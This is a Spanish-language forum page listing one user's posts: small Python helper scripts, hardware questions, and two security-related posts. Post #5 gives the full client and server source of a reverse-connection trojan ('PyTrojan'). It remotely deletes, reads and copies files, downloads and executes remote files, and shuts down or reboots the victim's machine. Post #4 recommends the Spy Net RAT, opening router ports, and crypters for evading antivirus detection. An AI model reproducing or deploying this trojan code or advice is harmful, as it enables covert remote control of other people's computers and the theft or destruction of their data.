Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 177600531

#1
Scripting / Re: script en debian
22 Junio 2016, 04:49 AM
Supongo que te refieres a esto:

Código (python) [Seleccionar]
#! /usr/bin/python

i = input("Numero: # ")
f = 0
print ""
while f < i:
    f = f + 2
    print "Resultado: ", f
#2
Intenta acceder por el ip local: 192.168.100.1
#3
Scripting / Re: ¿Se puede hacer este script?
22 Junio 2016, 02:42 AM
No entiendo muy bien al final como quieres que se renombren los archivos, prueba con esto en python.

Código (python) [Seleccionar]
# -*- coding: utf-8 -*-

import glob
import os

os.system("clear")

original = raw_input("Coincidencias # ")
extensio = raw_input("Extension     # ")

b = original + "*"
c = glob.glob(b)

d = len(c)
print ""
print "He obtenido", d, "coincidencias!"
print ""
procede = raw_input("Proceder? y/n # ")

if procede == "y":
   e = 0
   for f in c:
       e += 1
       g = str(e)
       os.rename(f, original+g+extensio)
   print "Done!"
else:
   pass
#4
Foro Libre / Re: Duda Sobre "Bisfrost"
23 Agosto 2013, 22:28 PM
Da igual chaval no les hagas ni caso porque por este foro hay mucho prepotente que se piensa que se lo saben todo pero todos y cada uno de este tipo de foros hemos empezado por lo mismo pero algunos olvidan sus comienzos.

Si te apasiona este mundo el de la seguridad propiamente dicho empieza primero por aprender lo que es una maquina virtual y como instalarla porque necesitaras hacer muchas pruebas y con una maquina virtual podrás montar los escenarios necesarios para practicar, sobretodo no te impacientes porque este mundo es complicado y tiene muchas ramas que te pueden liar un poco al principio.

En cuanto al troyano que te recomendaría es que utilices el Spy Net 2.6, para mi es el más estable y fácilmente lo puedes configurar. Sobretodo léete un tutorial de cómo abrir los puertos en un Router para permitir las conexiones. Una vez que te topes con el problema de los antivirus infórmate de que es un Crypter y cómo hacerlo indetectable hay una comunidad donde puedes aprender sobre todo esto y mucho mas llamada indetectables.net.

No vuelvas a hacer estas preguntas porque nadie te contestara o se empezaran a burlar de ti sobre todo lee mucho y tu mejor aliado que sea google. Con el tiempo aprende también un lenguaje de programación o varios hasta que seas capaz de crear tus propias herramientas.

En internet siempre encontraras toda la información necesaria solo aprende a buscar y encontraras siempre las respuestas a tus preguntas y solo una vez que hayas buscado horas y horas y sigues sin dar con la solución pregunta.

Sin más que decir me despido y espero que este mini post te sirva en tu largo caminar como en mi día me sirvió que otros me dieran grandes consejos que me han ayudado a crecer y formar de este gran hobby una carrera profesional.
#5
Scripting / [Python] Troyano
22 Agosto 2013, 02:55 AM
Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.

Cliente:
Código (python) [Seleccionar]
# -*- coding: utf-8 -*-

##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Client                        ##
##                                      ##
##########################################

import socket
import os
import time

#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])

#Imprimimos Cabecera
def Cabecera():
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      PyTrojan v1.0 Beta                    ****'
    print '              ****                                            ****'
    print '              ****************************************************'

#Imprimimos Opciones
def Opcionestop():
print '              ****************************************************'
print '              ****      Opciones                              ****'
print '              ****************************************************'
print '              ****                                            ****'
print '              ****      1) Apagar Equipo                      ****'
print '              ****      ________________________              ****'
print '              ****      2) Reiniciar Equipo                   ****'
print '              ****      ________________________              ****'
print '              ****      3) Downloader                         ****'
print '              ****      ________________________              ****'
print '              ****      4) Localizador IP                     ****'
print '              ****      ________________________              ****'
print '              ****      5) Limpiar Pantalla                   ****'
print '              ****      ________________________              ****'
print '              ****      6) Consola                            ****'
print '              ****      ________________________              ****'
print '              ****      7) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      8) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      9) Apagar Servidor                    ****'
print '              ****      ________________________              ****'
print '              ****      10) Salir                             ****'
print '              ****      ________________________              ****'
print '              ****                                            ****'
print '              ****************************************************'

#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP:            Muestra la lista de comandos de la consola'
print 'DEL:             Elimina el archivo marcado'
print 'XDEL:            Elimina la carpeta marcada'
print 'COPY:            Copia un archivo a otra directorio'
print 'READ:            Abre el archivo en la consola'
print 'OPEN:            Ejecuta un archivo'
print 'WANT:            Busca en todos los archivo con extension a elegir'
print 'DIR:             Muestra el directorio actual'
print 'CD:              Cambia de directorio al directorio seleccionado'
print 'EXIT:            Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break

#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden


#Menu
def Menu():
    opcion = ''
    while opcion != '1' and opcion != '2':
    cls()
    Cabecera()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      1) Esperar Conexiones                 ****'
    print '              ****      2) Salir                              ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    opcion = raw_input('>>> ')
    if opcion == '1':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Esperando Conexiones...               ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    host = ''
    port = 9999
    try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind((host, port))
            s.listen(3)
            sc, addr = s.accept()
    except:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Ocurrio un problema...                ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()
    else:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Victima                               ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    print 'Se ha establecido la conexion con...', addr[0]
    raw_input()
    Opciones(s, sc, addr)
    elif opcion == '2':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Gracias por usar PyTrojan             ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()

cls()
Menu()


Servidor:
Código (python) [Seleccionar]
##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Server                        ##
##                                      ##
##########################################

import socket
import time
import os
import urllib
import shutil
import glob

#Consola de Comandos
def Consola(s):
while True:
opconsola = s.recv(1024)
if opconsola == 'del':
ruta = s.recv(1024)
try:
os.remove(ruta)
s.send('El archivo ha sido eliminado con exito...')
except:
s.send('El archivo no ha podido ser eliminado...')
elif opconsola == 'xdel':
ruta = s.recv(1024)
try:
shutil.rmtree(ruta)
s.send('La carpeta ha sido eliminada...')
except:
s.send('La carpeta no ha podido ser eliminada...')
elif opconsola == 'copy':
ruta1 = s.recv(1024)
ruta2 = s.recv(1024)
try:
shutil.copy(ruta1, ruta2)
s.send('El archivo ha sido copiado...')
except:
s.send('El archivo no ha sido copiado...')
elif opconsola == 'read':
ruta = s.recv(1024)
try:
arch = open(ruta, 'r')
line = arch.readline()
while line != '':
s.send(line)
line = arch.readline()
except:
s.send('El archivo no ha podido ser abierto...')
elif opconsola == 'open':
ruta = s.recv(1024)
try:
os.startfile(ruta)
s.send('Archivo ejecutado con exito...')
except:
s.send('El archivo no ha podido ser ejecutado...')
elif opconsola == 'want':
ruta = s.recv(1024)
try:
lista = glob.glob('*' + ruta)
joinlistar = '\n'.join(lista)
s.send(joinlistar)
except:
s.send('Ha ocurrido un error...')
else:
s.send('\n.')
elif opconsola == 'dir':
try:
listardirectorio = os.listdir('.')
joinlistardire = '\n'.join(listardirectorio)
s.send(joinlistardire)
except:
s.send('Ha ocurrido un error...')
elif opconsola == 'cd':
ruta = s.recv(1024)
try:
os.chdir(ruta)
s.send(os.getcwd())
except:
s.send('No se puede encontrar la ruta especificada...')
elif opconsola == 'exit':
break

#Conexion con el cliente
def conexion():
host = 'localhost'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
recibido = s.recv(1024)
if recibido == 'apagar': #Apaga Equipo
time.sleep(1)
s.send('El equipo se esta apagando...')
os.system('shutdown -s -f -t 0')
elif recibido == 'reiniciar': #Reinicia Equipo
time.sleep(1)
s.send('El equipo se esta reiniciando...')
os.system('shutdown -r -f -t 0')
elif recibido == 'downloader': #Downloader
time.sleep(1)
try:
direccion = s.recv(1024)
nomarch = s.recv(1024)
urllib.urlretrieve(direccion, nomarch, reporthook=None)
except:
s.send('Ha ocurrido un error...')
else:
s.send('Archivo descargado con exito...')
try:
ejecutar = s.recv(1024)
if ejecutar == 'si':
os.startfile(nomarch)
elif ejecutar == 'no':
continue
except:
s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
else:
s.send('Archivo ejecutado con exito...')
elif recibido == 'localizadorip': #Localiza IP
try:
time.sleep(1)
iploc = s.recv(1024)
ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
response = urllib.urlopen(ipaddr).read()
except:
s.send('Ha ocurrido un error...')
else:
s.send(response)
elif recibido == 'consola': #Consola de Comandos
time.sleep(1)
Consola(s)
elif recibido == 'desconectar': #Apaga Servidor
time.sleep(1)
s.send('Servidor apagado correctamente...')
s.close()
break
else:
conexion()

#Reintentamos conexion si el cliente se ha desconectado
while True:
time.sleep(3)
try:
conexion()
except:
pass
else:
break
#6
Hardware / Problemas con la tarjeta grafica
2 Junio 2013, 14:31 PM
Bueno pues comentaros que tengo algunas dudas respecto a mi tarjeta grafica, tengo 2 tarjetas graficas una integrada que es una Intel HD Graphics 4000 y otra Nvidia GeForce GTX 660M, el problema es que al jugar Tera Online los gráficos están al mínimo porque si los subo lo mas mínimo empieza a laguearse cosa que no es posible teniendo en cuenta la tarjeta grafica que tengo pero aun así pasa, entonces busque en google y leí por ahí que en el panel de control de Nvidia en controlar la configuración 3D buscar mi juego y seleccionar el procesador de alto rendimiento Nvidia y realmente funciona de jugar con los gráficos mínimos jugué con los gráficos al máximo sin ningún problema.

Mi pregunta es porque no utiliza directamente mi ordenador la tarjeta grafica de Nvidia en los juegos y utiliza la integrada?

Siempre tengo que repetir los pasos de seleccionar el juego del panel de control de nvidia para jugar con la otra tarjeta grafica?

No debería utilizar las 2 tarjetas graficas y repartirse el rendimiento cada una?

Gracias con antelación.
#7
Bueno primero perdón por revivir el post, segundo que el lenovo se me ha jodido al cabo de 2 semanas de utilizarlo y lo he devuelto. Ahora he optado por un Alienware M17x con las siguientes características:
Processor : 3rd Generation Intel Core i7-3630QM (6MB Cache, up to 3.4GHz w/ Turbo Boost
2.0)
Memory : 6144MB (1x2048 + 1x4096) 1600MHz DDR3 Dual Channel
Graphics : 2GB GDDR5 NVIDIA GeForce GTX 660M
Display : 17.3" WideHD+ (1600 x 900 ) WLED LCD


Que os parece este portátil en cuanto a mi primera pregunta?

Gracias.
#8
En python no lleva más de 5 lineas  :xD

Código (python) [Seleccionar]
import os

carpeta = ('nombrecarpeta')
os.mkdir(carpeta)
os.chdir('\Program Files\VideoLAN\VLC') #ruta donde esta vlc
os.startfile('vlc.exe')
#9
Funcionaaa, gracias man i love you  :xD ;-) :-*
#10
A mi también me da problemas en cuanto a indentaciones en python, yo lo que utilizo para programar en html, css, php es Dreamweaver CS6.